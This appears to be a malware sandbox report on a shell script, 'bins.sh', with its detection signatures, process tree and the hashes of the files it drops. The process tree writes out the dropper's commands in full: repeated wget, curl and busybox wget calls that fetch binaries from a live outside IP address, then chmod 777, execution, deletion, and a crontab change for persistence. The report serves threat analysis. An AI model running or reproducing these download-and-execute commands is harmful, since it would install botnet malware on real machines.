Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

8

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    19/11/2024, 01:55

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241119-cb4avsymes
  • SHA256 e51e88e5779218a53250cdc2404b6664515c6ca70a827448aabba4fb4a819849
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (1706) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:729
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:732
        • /usr/bin/wget
          wget http://216.126.231.240/bins/THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
          • Writes file to tmp directory
          PID:735
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
          • Writes file to tmp directory
          PID:758
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
          • Writes file to tmp directory
          PID:759
        • /bin/chmod
          chmod 777 THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
          • File and Directory Permissions Modification
          PID:760
        • /tmp/THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          ./THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
          • Executes dropped EXE
          PID:761
        • /bin/rm
          rm THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
            PID:763
          • /usr/bin/wget
            wget http://216.126.231.240/bins/dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
            • Writes file to tmp directory
            PID:764
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
            • Writes file to tmp directory
            PID:805
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
            • Writes file to tmp directory
            PID:811
          • /bin/chmod
            chmod 777 dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
            • File and Directory Permissions Modification
            PID:812
          • /tmp/dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            ./dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
            • Executes dropped EXE
            PID:813
          • /bin/rm
            rm dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
              PID:815
            • /usr/bin/wget
              wget http://216.126.231.240/bins/O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              2⤵
              • Writes file to tmp directory
              PID:816
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              2⤵
              • Writes file to tmp directory
              PID:847
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              2⤵
              • Writes file to tmp directory
              PID:848
            • /bin/chmod
              chmod 777 O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              2⤵
              • File and Directory Permissions Modification
              PID:849
            • /tmp/O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              ./O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              2⤵
              • Executes dropped EXE
              PID:850
            • /bin/rm
              rm O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              2⤵
                PID:852
              • /usr/bin/wget
                wget http://216.126.231.240/bins/rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                2⤵
                • Writes file to tmp directory
                PID:853
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:854
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                2⤵
                • Writes file to tmp directory
                PID:855
              • /bin/chmod
                chmod 777 rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                2⤵
                • File and Directory Permissions Modification
                PID:856
              • /tmp/rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                ./rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                2⤵
                • Executes dropped EXE
                PID:857
              • /bin/rm
                rm rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                2⤵
                  PID:859
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                  2⤵
                  • Writes file to tmp directory
                  PID:860
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:861
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                  2⤵
                  • Writes file to tmp directory
                  PID:865
                • /bin/chmod
                  chmod 777 UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                  2⤵
                  • File and Directory Permissions Modification
                  PID:866
                • /tmp/UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                  ./UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:867
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:869
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:870
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:871
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:872
                      • /bin/rm
                        rm UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                        2⤵
                          PID:874
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                          2⤵
                            PID:877
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                            2⤵
                              PID:878
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                              2⤵
                              • Writes file to tmp directory
                              PID:879
                            • /bin/chmod
                              chmod 777 gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                              2⤵
                              • File and Directory Permissions Modification
                              PID:880
                            • /tmp/gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                              ./gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                              2⤵
                              • Executes dropped EXE
                              PID:881
                            • /bin/rm
                              rm gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                              2⤵
                                PID:931
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/BJUox2gIsBI7sL8S5F83lW5Nu3x5QCJqSc
                                2⤵
                                  PID:964

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
                                    • Path /tmp/O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
                                    • Size 141KB
                                    • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
                                    • Path /tmp/THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
                                    • Size 107KB
                                    • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                                    • Path /tmp/UF3lCOLfK6v8kLJp8u6rJNpSDxoKdEzmY7
                                    • Size 151KB
                                    • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
                                    • Path /tmp/dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
                                    • Size 112KB
                                    • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                                    • Path /tmp/gVKl1SRCsFYPVyimBibLrTCa94zZtIMQvJ
                                    • Size 111KB
                                    • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                                    • Path /tmp/rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                                    • Size 119KB
                                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    tmp.zkq9lz
                                    • Path /var/spool/cron/crontabs/tmp.zkq9lz
                                    • Size 210B
                                    • SHA256 7083ef7c7cf66304221e9ac4e318c9a254e5aaf21d0653167961e28bcbbb87da
                                    • MD5 SHA1 SHA512
                                    Submit Download